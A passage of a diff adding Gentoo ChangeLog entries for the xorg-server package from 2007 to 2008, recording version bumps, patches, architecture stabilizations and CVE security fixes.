+  +files/1.4.0.90/0028-Add-some-more-support-for-DragonFly.-From-Joerg-Sonn.
+  patch, +files/1.4.0.90/0029-configure.ac-DragonFly-BSD-support.patch,
+  +files/1.4.0.90/0030-Fixed-configure.ac-for-autoconf-2.62.patch,
+  +files/1.4.0.90/0031-EXA-Fix-off-by-one-in-polyline-drawing.patch,
+  +files/1.4.0.90/0032-XKB-Fix-processInputProc-wrapping.patch,
+  +files/1.4.0.90/0033-xfree86-fix-AlwaysCore-handling.-Bug-14256.patch,
+  +files/1.4.0.90/0034-Ignore-not-just-block-SIGALRM-around-Popen-Pcl.patch,
+  +files/1.4.0.90/0035-Fix-build-on-FreeBSD-after-Popen-changes.patch,
+  +files/1.4.0.90/0036-So-like-checking-return-codes-of-system-calls-sig.pat
+  ch,
+  +files/1.4.0.90/0037-Check-for-sys-sdt.h-as-well-when-determining-to-en.pa
+  tch,
+  +files/1.4.0.90/0038-dix-Always-add-valuator-information-if-present.patch,
+  +files/1.4.0.90/0039-Bug-10324-dix-Allow-arbitrary-value-ranges-in-Ge.patc
+  h, +xorg-server-1.4.0.90-r4.ebuild:
+  Add an unkeyworded new revision with tons of fixes from upstream's 1.4
+  branch. More patches may be coming soon, and rekeywording is pending on
+  that. I expect this to be a candidate for stable.
+
+  07 May 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.3.0.0-r5.ebuild, xorg-server-1.4.0.90-r3.ebuild:
+  (#213288) Fix xprint build by requiring printproto =1.0.3.
+
+  25 Apr 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  -xorg-server-1.3.0.0-r2.ebuild, -xorg-server-1.4.0.90-r2.ebuild:
+  Clean up a little. Still waiting on arm/sh stabilization in 1.3.0.0-r5 for
+  -r4 to get removed.
+
+  25 Apr 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.3.0.0-r5.ebuild:
+  (#219159) Add autotools patch here as well.
+
+  18 Apr 2008; Saleem Abdulrasool <compnerd@gentoo.org>
+  +files/xorg-server-1.4.0.90-automake-1.10.1-fixup.patch,
+  xorg-server-1.4.0.90-r3.ebuild:
+  Add patch to fix building against newer autotools.  Fixes bug #217128.
+
+  10 Apr 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.3.0.0-r5.ebuild, xorg-server-1.4.0.90-r3.ebuild:
+  Switch from via to openchrome for VIDEO_CARDS=via to mirror upstream xorg
+  switch.
+
+  10 Mar 2008; Bo Ørsted Andresen <zlin@gentoo.org>
+  xorg-server-1.4.0.90-r2.ebuild, xorg-server-1.4.0.90-r3.ebuild:
+  Remove print_installed(). Bug #211588.
+
+  11 Feb 2008; Wulf C. Krueger <philantrop@gentoo.org>
+  xorg-server-1.3.0.0-r5.ebuild:
+  Marked stable on amd64 as per security bug 208343.
+
+  09 Feb 2008; Raúl Porcel <armin76@gentoo.org>
+  xorg-server-1.3.0.0-r5.ebuild:
+  alpha/ia64/sparc stable wrt security #208343
+
+  02 Feb 2008; Jeroen Roovers <jer@gentoo.org>
+  xorg-server-1.3.0.0-r5.ebuild:
+  Stable for HPPA (bug #208343).
+
+  02 Feb 2008; Tobias Scherbaum <dertobi123@gentoo.org>
+  xorg-server-1.3.0.0-r5.ebuild:
+  ppc stable, bug #208343
+
+  02 Feb 2008; Brent Baude <ranger@gentoo.org>
+  xorg-server-1.3.0.0-r5.ebuild:
+  Marking xorg-server-1.3.0.0-r5 ppc64 for bug 208343
+
+  02 Feb 2008; Markus Meier <maekke@gentoo.org>
+  xorg-server-1.3.0.0-r5.ebuild:
+  x86 stable, security bug #208343
+
+*xorg-server-1.4.0.90-r3 (01 Feb 2008)
+*xorg-server-1.3.0.0-r5 (01 Feb 2008)
+
+  01 Feb 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.4-0008-CVE-2007-6429-Always-test-for-size-offset-wrapping.patch,
+  +files/1.4-0009-Don-t-break-grab-and-focus-state-for-a-window-when-r.patch
+  , +xorg-server-1.3.0.0-r5.ebuild, +xorg-server-1.4.0.90-r3.ebuild:
+  (#208343) Another security bump, with two fixes. CVE-2007-6429: The old fix
+  for the MIT_SHM patch failed to check for the security issue in all cases.
+  CVE-2007-3920: The second fix is primarily for compiz users. There was a
+  patch in compiz for this but it was again an incomplete fix, because it
+  assumed the problem could only be caused by a specifically named executable.
+
+  18 Jan 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.3.0.0-r4.ebuild:
+  Restore keywords, since repoman wouldn't let me commit stable.
+
+*xorg-server-1.4.0.90-r2 (18 Jan 2008)
+*xorg-server-1.3.0.0-r4 (18 Jan 2008)
+
+  18 Jan 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.4-0007-CVE-2007-6429-Don-t-spuriously-reject-8bpp-shm-pix.patch,
+  -xorg-server-1.3.0.0-r3.ebuild, +xorg-server-1.3.0.0-r4.ebuild,
+  -xorg-server-1.4.0.90-r1.ebuild, +xorg-server-1.4.0.90-r2.ebuild:
+  (#206490, #204362) Fix major regression in the MIT-SHM patch of the security
+  bump that prevented many applications (but apparently none that any distro
+  developers use, since this slipped by every distro) from running.
+
+  17 Jan 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/1.2.0-server-damage-version.patch,
+  -files/xorg-xserver-1.2.0-xcmisc.diff,
+  -files/1.2.0-server-randr-version.patch, -files/1.2.0-client-leak.patch,
+  -xorg-server-1.2.0-r3.ebuild, -xorg-server-1.3.0.0.ebuild,
+  -xorg-server-1.3.0.0-r1.ebuild, -xorg-server-1.4-r2.ebuild,
+  -xorg-server-1.4.0.90.ebuild:
+  Security cleanup. Still waiting on mips/sh/arm to stable 1.3.0.0-r3 before I
+  can pull -r2.
+
+  17 Jan 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.3.0.0-r3.ebuild:
+  Add stable keywords from testing on the security bug.
+
+*xorg-server-1.3.0.0-r3 (17 Jan 2008)
+
+  17 Jan 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.3-0003-Fix-for-CVE-2007-6427-Xinput-extension-memory-corr.patch,
+  +files/1.3-0006-Fix-for-CVE-2007-5958-File-existence-disclosure.patch,
+  +xorg-server-1.3.0.0-r3.ebuild:
+  Here's the 1.3 version of those security bumps.
+
+*xorg-server-1.4.0.90-r1 (17 Jan 2008)
+
+  17 Jan 2008; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.4-0001-Fix-for-CVE-2007-5760-XFree86-Misc-extension-out-o.patch,
+  +files/1.4-0002-Fix-for-CVE-2007-6428-TOG-cup-extension-memory-cor.patch,
+  +files/1.4-0003-Fix-for-CVE-2007-6427-Xinput-extension-memory-corr.patch,
+  +files/1.4-0004-Fix-for-CVE-2007-6429-MIT-SHM-and-EVI-extensions-i.patch,
+  +files/1.4-0005-Fix-for-CVE-2008-0006-PCF-Font-parser-buffer-overf.patch,
+  +files/1.4-0006-Fix-for-CVE-2007-5958-File-existence-disclosure.patch,
+  +xorg-server-1.4.0.90-r1.ebuild:
+  (#204362) Security bump. Bump for 1.3 series coming in a couple hours.
+
+  16 Dec 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4.0.90.ebuild:
+  Don't print output of pushd/popd (Mike Frysinger).
+
+*xorg-server-1.4.0.90 (14 Dec 2007)
+
+  14 Dec 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.4.0.90-clean-generated-files.patch,
+  +files/1.4-dont-hang-openoffice.patch,
+  +files/1.4-fix-kdrive-automake.patch, +xorg-server-1.4.0.90.ebuild:
+  Bump to 1.4.1 release candidate. It's gotta be an improvement over 1.4, 
+  so i'm letting it go into ~arch.
+  
+  (#192221) 'xorg-server-1.4 - keyboard LEDs do not work' fixed upstream.
+  
+  (#201047) 'xorg-server 1.4 no longer loads xmodmap via xinitrc properly' 
+  fixed upstream.
+  
+  (#197104) 'xorg-server-1.3 and 1.4 consumes 100% CPU, locking the 
+  keyboard, apparently triggered by opening an OpenOffice pulldown menu' 
+  fixed with patch from master branch.
+  
+  (#196019) 'xorg-server creates unnecessary file 
+  /etc/X11/X11/Xsession.d/92xprint-xpserverlist' fixed by not installing 
+  the same file twice to 2 different places (Andy Crook).
+  
+  (#195886) 'xorg-server-1.4.0-r2 built with hal USE flag crashes on 
+  shutdown if dbus service is not running' fixed upstream.
+  
+  (#195551) 'xorg-server-1.4 fails to build w/kdrive on amd64' fixed with 
+  Makefile.am patch designed for easier sed but unsuitable for upstream 
+  because the line gets too long (Michael Gorse).
+  
+  (#194503) Don't spit versions when showing drivers to rebuild via qlist, 
+  and also provide a command for people to do it themselves later.
+
+  30 Nov 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4-r2.ebuild:
+  (#200731) Forgot to remove the blocker for ati-drivers (Sascha Beck).
+
+  29 Nov 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4-r2.ebuild:
+  Re-add binary ATI/AMD driver support for 8.433 and newer (Jory Pratt).
+
+  20 Nov 2007; Joshua Kinard <kumba@gentoo.org>
+  xorg-server-1.3.0.0-r2.ebuild:
+  Stable on mips, per #198525.
+
+  14 Nov 2007; Jeroen Roovers <jer@gentoo.org>
+  xorg-server-1.3.0.0-r2.ebuild:
+  Stable for HPPA (bug #198525).
+
+  09 Nov 2007; nixnut <nixnut@gentoo.org> xorg-server-1.3.0.0-r2.ebuild:
+  Stable on ppc wrt bug 198525
+
+  09 Nov 2007; Raúl Porcel <armin76@gentoo.org>
+  xorg-server-1.3.0.0-r2.ebuild:
+  alpha/ia64 stable wrt #198525
+
+  09 Nov 2007; Ferris McCormick <fmccor@gentoo.org>
+  xorg-server-1.3.0.0-r2.ebuild:
+  Sparc stable --- Bug #198525
+
+  09 Nov 2007; Markus Rothe <corsair@gentoo.org>
+  xorg-server-1.3.0.0-r2.ebuild:
+  Stable on ppc64; bug #198525
+
+  09 Nov 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.3.0.0-r2.ebuild:
+  (#198525) Stable on amd64, tested by hparker, approved by kingtaco.
+
+  09 Nov 2007; Dawid Węgliński <cla@gentoo.org>
+  xorg-server-1.3.0.0-r2.ebuild:
+  Stable on x86
+
+  07 Nov 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.3.0.0-fix-xkb-openoffice-hangs.patch,
+  xorg-server-1.3.0.0-r2.ebuild:
+  (#197104) Fix a 100% CPU hang on openoffice. (#196019) Don't create a
+  redundant file with USE=xprint.
+
+  05 Nov 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.2.0-r3.ebuild, xorg-server-1.3.0.0.ebuild,
+  xorg-server-1.3.0.0-r1.ebuild:
+  Require older libXrender here too (backport from 1.3.0.0-r2) (Martin MOKREJŠ).
+
+  29 Oct 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4-r2.ebuild:
+  (#197154, fd.o #12982) xorg-server thinks net-dialup/dtrace is Solaris
+  dtrace, thus dying during the build (Chad Simmons). Add a blocker for now,
+  until we have an upstream fix.
+
+  14 Oct 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4-r2.ebuild:
+  (#194503) Try adding some output to print the actual drivers that need to be
+  rebuilt. Use qlist from portage-utils, equery from gentoolkit, epm, and fall
+  back to internal portage best_version if all else fails.
+
+*xorg-server-1.3.0.0-r2 (13 Oct 2007)
+
+  13 Oct 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.3.0.0-fix-dual-head-screen-resolutions.patch,
+  +files/1.3.0.0-fix-randr-resizing.patch,
+  +files/1.3.0.0-fix-xephyr-amd64-segfault.patch,
+  +files/1.3.0.0-ramdac.patch, +xorg-server-1.3.0.0-r2.ebuild:
+  (#183721) Fix resizing with RandR. (#179545) Use correct screen resolutions
+  when there's multiple screens. (#191709) Require older libXrender too.
+  (#192312) Export ramdac symbols, so e.g. xf86-video-s3 compiles. (#193207)
+  Fix Xephyr segfault on amd64. (#194026) Set XKB output directory so this
+  works with xkeyboard-config 1.1.
+
+  09 Oct 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  -xorg-server-1.4-r1.ebuild:
+  Clean out a broken ebuild.
+
+  09 Oct 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.2.0-r3.ebuild, xorg-server-1.3.0.0.ebuild,
+  xorg-server-1.3.0.0-r1.ebuild, xorg-server-1.4-r1.ebuild:
+  Fix quoting issues caught by latest repoman.
+
+  02 Oct 2007; Chris Gianelloni <wolf31o2@gentoo.org>
+  xorg-server-1.3.0.0-r1.ebuild:
+  Stable on amd64 wrt bug #191964.
+
+  02 Oct 2007; Jeroen Roovers <jer@gentoo.org>
+  xorg-server-1.3.0.0-r1.ebuild:
+  Stable for HPPA (bug #191964).
+
+  01 Oct 2007; Doug Goldstein <cardoe@gentoo.org> xorg-server-1.4-r1.ebuild,
+  xorg-server-1.4-r2.ebuild:
+  add new nvidia-drivers to depend list support
+
+  01 Oct 2007; Raúl Porcel <armin76@gentoo.org>
+  xorg-server-1.3.0.0-r1.ebuild:
+  alpha/ia64/sparc stable wrt #191964
+
+  01 Oct 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4-r2.ebuild:
+  Fix variable quoting caught by my repoman patch.
+
+*xorg-server-1.4-r2 (01 Oct 2007)
+
+  01 Oct 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.4-ia64.patch, +xorg-server-1.4-r2.ebuild:
+  (#194026) Fix many keyboard-related issues, particularly special keys, by
+  setting the XKB output directory to one that actually exists -- /var/lib/xkb
+  -- instead of /usr/share/X11/xkb/compiled (illusion). (#193978) Fix build on
+  ia64 (Raúl Porcel). (#193735) Another xprint fix, to the init script this
+  time (Andy Crook).
+
+  01 Oct 2007; Joshua Kinard <kumba@gentoo.org>
+  xorg-server-1.3.0.0-r1.ebuild:
+  Stable on mips, per #191964.
+
+  30 Sep 2007; Tobias Scherbaum <dertobi123@gentoo.org>
+  xorg-server-1.3.0.0-r1.ebuild:
+  ppc stable, bug #191964
+
+  30 Sep 2007; Markus Rothe <corsair@gentoo.org>
+  xorg-server-1.3.0.0-r1.ebuild:
+  Stable on ppc64; bug #191964
+
+  30 Sep 2007; Markus Meier <maekke@gentoo.org>
+  xorg-server-1.3.0.0-r1.ebuild:
+  x86 stable, security bug #191964
+
+*xorg-server-1.3.0.0-r1 (30 Sep 2007)
+
+  30 Sep 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/use-composite-for-unequal-depths.patch,
+  +xorg-server-1.3.0.0-r1.ebuild:
+  (#191964) Security bump for local exploit in the Composite extension, which
+  is disabled by default.
+
+  28 Sep 2007; Joshua Kinard <kumba@gentoo.org> xorg-server-1.3.0.0.ebuild:
+  Stable on mips, per #191615.
+
+  19 Sep 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4-r1.ebuild:
+  Restore Nvidia binary driver support with today's release.
+
+  14 Sep 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4-r1.ebuild:
+  Require latest versions of some input drivers for compat with the new input
+  stuff.
+
+  11 Sep 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  -xorg-server-1.4.ebuild:
+  Drop a broken ebuild.
+
+  10 Sep 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4-r1.ebuild:
+  More minimal versions for 7.3 and even earlier releases.
+
+  10 Sep 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4-r1.ebuild:
+  Add minimal version dependencies for X.Org 7.3 release. Also remove blocker
+  on old keyboard drivers, because the minimal 1.2 dependency when
+  INPUT_DEVICES=keyboard should be good enough.
+
+*xorg-server-1.4-r1 (10 Sep 2007)
+
+  10 Sep 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-1.4-r1.ebuild:
+  (#191822) Try to avoid a fatal DBUS-related error at startup time by
+  installing the DBUS file to /etc/dbus-1/system.d/xorg-server.conf rather
+  than /etc/X11/dbus-1/system.d/xorg-server.conf. Also add a tweak to stop
+  autoreconf from running twice. Both fixes courtesy of Elvis Pranskevichus.
+  This should be enough to get you a running X server, but input hotplugging
+  may not work yet. A couple of other changes on the bug need to be examined
+  in more detail.
+
+  10 Sep 2007; Jeroen Roovers <jer@gentoo.org> xorg-server-1.3.0.0.ebuild:
+  Stable for HPPA (bug #191615).
+
+  10 Sep 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4.ebuild:
+  (#191820) Fix xprint build when neither dmx or kdrive are enabled; forgot to
+  autoreconf.
+
+  09 Sep 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.4.ebuild:
+  Block binary drivers: nvidia-drivers and ati-drivers -- seems that they
+  don't have releases built for 1.4 yet.
+
+  09 Sep 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.2.0-r3.ebuild, xorg-server-1.3.0.0.ebuild:
+  (#191709) Require older renderproto as a workaround to make this build again
+  until we get a proper fix.
+
+  09 Sep 2007; Raúl Porcel <armin76@gentoo.org> xorg-server-1.3.0.0.ebuild:
+  alpha/ia64 stable wrt #191615
+
+  09 Sep 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/01-no-move-damage.patch, -files/03-tfp-damage.patch,
+  -files/05-offscreen-pixmaps.patch, -files/1.1.1-fix_acpi_tokenize.patch,
+  -files/02-dont-backfill-bg-none.patch,
+  -files/04-mesa-copy-sub-buffer.patch,
+  -files/06-aiglx-happy-vt-switch.patch, -files/1.1.1-dbe-render.diff,
+  -files/1.1.1-fix-xrandr-zoom-keys.patch,
+  -files/1.1.1-fix_big_endian_glx.patch, -files/1.1.1-fixdualhead.patch,
+  -files/1.1.1-sparc-includes.patch, -files/1.1.1-sparc64-ati-lockups.patch,
+  -files/xorg-server-1.1.1-install-libxf86config-headers.patch,
+  -files/xorg-x11-server-1.1.1-mesa-6.5.1.patch,
+  -files/xorg-conf-example.patch, -xorg-server-1.1.1-r1.ebuild,
+  -xorg-server-1.1.1-r5.ebuild:
+  Drop 1.1, everyone's stable on 1.2 or 1.3.
+
+  09 Sep 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/1.2.99.0-fix-sysconfdir-references.patch,
+  -xorg-server-1.2.99.0.ebuild:
+  Drop early input-hotplug snapshot.
+
+*xorg-server-1.4 (09 Sep 2007)
+
+  09 Sep 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.4-document-new-font-catalogs.patch,
+  +files/1.4-fix-dmx-build.patch, +files/1.4-fix-dmx-link.patch,
+  +files/1.4-fix-xephyr-link.patch, +files/1.4-fix-xprint-build.patch,
+  +files/1.4-fix-xprint-link.patch, +files/1.4-fpic-libxf86config.patch,
+  +xorg-server-1.4.ebuild:
+  Bump. Contains input hotplugging, numerous EXA improvements, improvements to
+  RandR 1.2, and more. Adds a new dependency on pixman for rendering and an
+  optional dependency on hal/dbus for input hotplugging. A few of the
+  fix-*-{build,link} patches still need to go upstream.
+
+  09 Sep 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.1.1-r1.ebuild, xorg-server-1.1.1-r5.ebuild,
+  xorg-server-1.2.0-r3.ebuild, xorg-server-1.3.0.0.ebuild:
+  Fix keyboard driver dep because it doesn't work with 1.2 or newer.
+
+  08 Sep 2007; Joseph Jezak <josejx@gentoo.org> xorg-server-1.3.0.0.ebuild:
+  Marked ppc/ppc64 stable for bug #191615.
+
+  08 Sep 2007; Christoph Mende <angelos@gentoo.org>
+  xorg-server-1.3.0.0.ebuild:
+  Stable on amd64 wrt bug #191615
+
+  07 Sep 2007; Chris Gianelloni <wolf31o2@gentoo.org>
+  xorg-server-1.3.0.0.ebuild:
+  I am reverting the stabilization until a newer ati-drivers package is
+  stabilized. I apologize if anyone gets caught by this in the short time it
+  was stable.
+
+  07 Sep 2007; Chris Gianelloni <wolf31o2@gentoo.org>
+  xorg-server-1.3.0.0.ebuild:
+  Stable on x86 wrt bug #191615.
+
+  07 Sep 2007; Chris Gianelloni <wolf31o2@gentoo.org>
+  xorg-server-1.3.0.0.ebuild:
+  Stable on amd64 wrt bug #191615.
+
+  09 Aug 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.3.0.0.ebuild:
+  Need to regenerate autotools files for
+  xorg-x11-server-1.0.1-fpic-libxf86config.patch (Robert Buchholz).
+
+  07 Aug 2007; Gustavo Zacarias <gustavoz@gentoo.org>
+  xorg-server-1.3.0.0.ebuild:
+  Stable on sparc wrt #175465
+
+  02 Aug 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-x11-server-1.0.1-fpic-libxf86config.patch,
+  xorg-server-1.3.0.0.ebuild:
+  (#182516) Build libxf86config PIC for other packages that use it on 64-bit
+  systems.
+
+  02 Aug 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.3.0.0-xephyr_crash_at_exit.patch, xorg-server-1.3.0.0.ebuild:
+  (#185705) Stop Xephyr from crashing when applications quit.
+
+  01 Aug 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/1.2.0-fix-amd-cpu-detection.patch,
+  +files/1.2.0-properly-free-device-devprivates-memory-leak-fix.patch,
+  +files/1.2.0-typo-fix.patch,
+  +files/1.2.0-zero-out-client-devprivates-on-allocation.patch,
+  +files/1.3.0.0-use-proc-instead-of-sys.patch,
+  +files/1.3-alpha-build-fix.patch,
+  +files/avoid-crash-on-minimized-xv-window.patch,
+  +files/xorg-server-sam225bw-quirks.patch, xorg-server-1.3.0.0.ebuild:
+  Add patches for various issues. (#171396) Memleaks; (#167052) Fix
+  multi-domain systems like Sparc and Pegasos; (#181280) Minimized Xv window
+  crashes X; (#176746) Resolution fix for SyncMaster 225BW; (#164240) Fix
+  Alpha build with newer kernel headers.
+
+  31 Jul 2007; Doug Goldstein <doug@gentoo.org> xorg-server-1.1.1-r1.ebuild,
+  xorg-server-1.1.1-r5.ebuild, xorg-server-1.2.0-r3.ebuild,
+  xorg-server-1.2.99.0.ebuild, xorg-server-1.3.0.0.ebuild:
+  nvidia-legacy-drivers moved to nvidia-drivers
+
+  02 Jul 2007; Raúl Porcel <armin76@gentoo.org>
+  xorg-server-1.2.0-r3.ebuild:
+  alpha stable wrt #175465
+
+  02 Jul 2007; Piotr Jaroszyński <peper@gentoo.org>
+  xorg-server-1.1.1-r1.ebuild, xorg-server-1.1.1-r5.ebuild,
+  xorg-server-1.2.0-r3.ebuild, xorg-server-1.2.99.0.ebuild,
+  xorg-server-1.3.0.0.ebuild:
+  (QA) RESTRICT clean up.
+
+  24 Jun 2007; Piotr Jaroszyński <peper@gentoo.org>
+  xorg-server-1.2.99.0.ebuild:
+  (QA) Don't use KEYWORDS="-*". bug #160519.
+
+  24 Jun 2007; Joshua Kinard <kumba@gentoo.org> xorg-server-1.2.0-r3.ebuild:
+  Stable on mips, per #175465.
+
+  04 Jun 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.3.0.0.ebuild:
+  (#180855) Fix ati-drivers support. My last commit never made it in because
+  of a conflict I didn't notice.
+
+  02 Jun 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.3.0.0.ebuild:
+  (#180611) Remove blocker on ati-drivers so the below change works.
+
+  20 May 2007; Jeroen Roovers <jer@gentoo.org> xorg-server-1.2.0-r3.ebuild:
+  Stable for HPPA (bug #175465).
+
+  12 May 2007; nixnut <nixnut@gentoo.org> xorg-server-1.2.0-r3.ebuild:
+  Stable on ppc wrt bug 175465
+
+  05 May 2007; Daniel Gryniewicz <dang@gentoo.org>
+  xorg-server-1.2.0-r3.ebuild:
+  Marked stable on amd64 for bug #175465
+
+  05 May 2007; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.3.0.0.ebuild:
+  Add a dependency on libXfixes when building dmx.  Thanks to Hopeless of
+  bug #177173.
+
+  04 May 2007; Samuli Suominen <drac@gentoo.org> xorg-server-1.3.0.0.ebuild:
+  Allow also nvidia-drivers-8xxx series, and nvidia-legacy-drivers-7xxx for
+  bug 176648 as they are needed for older cards. Bug 175503 is only about
+  ati-drivers.
+
+  02 May 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  -xorg-server-1.1.1-r4.ebuild, -xorg-server-1.2.0.ebuild,
+  -xorg-server-1.2.0-r1.ebuild, -xorg-server-1.2.0-r2.ebuild:
+  Pull versions that will never go stable or are stale.
+
+  01 May 2007; Samuli Suominen <drac@gentoo.org> xorg-server-1.3.0.0.ebuild:
+  Allow also nvidia-drivers-1.0.9631-r1 which appears to be working and
+  required for older cards. Bug 176650.
+
+  01 May 2007; Samuli Suominen <drac@gentoo.org> xorg-server-1.3.0.0.ebuild:
+  Allow nvidia-drivers-1.0.9755-r1 with xorg-server-1.3.0.0 as it works and
+  blocking them is annoying for users.
+
+  01 May 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  xorg-server-1.3.0.0.ebuild:
+  Remove VIDEO_CARDS flags for binary drivers and block binary ati and nvidia
+  drivers, since none of them work yet with 1.3. Since we aren't yet sure
+  which versions will, block them unconditionally for now and add appropriate
+  dependencies later.
+
+  29 Apr 2007; Andrej Kacian <ticho@gentoo.org> xorg-server-1.2.0-r3.ebuild:
+  Stable on x86, bug #175465.
+
+  25 Apr 2007; Raúl Porcel <armin76@gentoo.org>
+  xorg-server-1.2.0-r3.ebuild:
+  Stable on ia64 wrt bug #175465
+
+  25 Apr 2007; Markus Rothe <corsair@gentoo.org>
+  xorg-server-1.2.0-r3.ebuild:
+  Stable on ppc64; bug #175465
+
+  22 Apr 2007; Joshua Baergen <joshuabaergen@gentoo.org>
+  xorg-server-1.3.0.0.ebuild:
+  Update randrproto dep to 1.2.1.  Fixes #175452.
+
+  21 Apr 2007; Joshua Baergen <joshuabaergen@gentoo.org>
+  -xorg-server-1.2.99.901.ebuild, -xorg-server-1.2.99.902.ebuild,
+  -xorg-server-1.2.99.903.ebuild, -xorg-server-1.2.99.903-r1.ebuild,
+  -xorg-server-1.2.99.905.ebuild:
+  Clean out 1.3 RCs.
+
+*xorg-server-1.3.0.0 (21 Apr 2007)
+
+  21 Apr 2007; Joshua Baergen <joshuabaergen@gentoo.org>
+  +xorg-server-1.3.0.0.ebuild:
+  Bump to 1.3 final.
+
+*xorg-server-1.2.99.905 (06 Apr 2007)
+
+  06 Apr 2007; Joshua Baergen <joshuabaergen@gentoo.org>
+  +xorg-server-1.2.99.905.ebuild:
+  Add 1.3RC5.  This includes the security patch from RC3-r1, as well as a server
+  respawn fix. Also, fix bug #172713 (steveb).
+
+*xorg-server-1.2.99.903-r1 (05 Apr 2007)
+*xorg-server-1.2.0-r3 (05 Apr 2007)
+*xorg-server-1.1.1-r5 (05 Apr 2007)
+
+  05 Apr 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  +files/xorg-xserver-1.2.0-xcmisc.diff, +xorg-server-1.1.1-r5.ebuild,
+  +xorg-server-1.2.0-r3.ebuild, +xorg-server-1.2.99.903-r1.ebuild:
+  (#172575) Security bump. CVE 2007-1003: XC-MISC extension integer overflow.
+
+*xorg-server-1.2.99.903 (28 Mar 2007)
+
+  28 Mar 2007; Joshua Baergen <joshuabaergen@gentoo.org>
+  +xorg-server-1.2.99.903.ebuild:
+  Bump to 1.3 RC3.
+
+*xorg-server-1.2.99.902 (20 Mar 2007)
+
+  20 Mar 2007; Joshua Baergen <joshuabaergen@gentoo.org>
+  +xorg-server-1.2.99.902.ebuild:
+  Bump to 1.3RC2.
+
+*xorg-server-1.2.0-r2 (17 Mar 2007)
+
+  17 Mar 2007; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/1.2.0-client-leak.patch, +xorg-server-1.2.0-r2.ebuild:
+  Fix a memory leak.  This fix is already in the 1.3 branch.  (Thanks to krtek
+  for the patch and ebuild - bug #166109)
+
+*xorg-server-1.2.99.901 (10 Mar 2007)
+
+  10 Mar 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  +xorg-server-1.2.99.901.ebuild:
+  Bump to 1.3 RC1. This contains RandR 1.2 for monitor hotplugging etc,
+  assuming you have a supported driver (only intel at present, radeon in the
+  works), and you also need the updated libXrandr and x11-apps/xrandr. It also
+  merges the damage-tracking work for EXA (the newer acceleration
+  architecture) as well as some other fixes. It does NOT contain input-device
+  hotplugging despite the higher version number than 1.2.99.0, because of a
+  change in release-versioning plans.
+
+*xorg-server-1.2.0-r1 (19 Feb 2007)
+
+  19 Feb 2007; Joshua Baergen <joshuabaergen@gentoo.org>
+  +files/1.2.0-server-damage-version.patch,
+  +files/1.2.0-server-randr-version.patch, +xorg-server-1.2.0-r1.ebuild:
+  Fix several issues:
+
+  Bug #163613 - Server should report its damage implementation version rather
+  than the protocol header version.  (Todd Merrill)
+
+  Bug #164146 - Xprint file locations have changed since 1.1, so fix the ebuild
+  to find them correctly.  (Ed Catmur)
+
+  Bug #167651 - Server should report its randr implementation version rather
+  than the protocol header version.  (Me)
+
+  24 Jan 2007; Donnie Berkholz <dberkholz@gentoo.org>;
+  -files/1.0.2-Xprint-xprintdir.patch, -files/1.0.2-dbe-render.diff,
+  -files/1.0.2-fix-readKernelMapping-overrun.patch,
+  -files/1.0.2-fix-rom-read-dualhead.patch,
+  -files/1.0.2-fix-xorgconfig-rgbpath-and-mouse.patch,
+  -files/1.0.2-try-to-fix-xorgcfg.patch, -files/x11r7.0-setuid.diff,
+  -files/xorg-server-1.0.2-64bit-fix-for-glx.patch,
+  -files/xorg-server-1.0.2-64bit-fix-have-dix-config.patch,
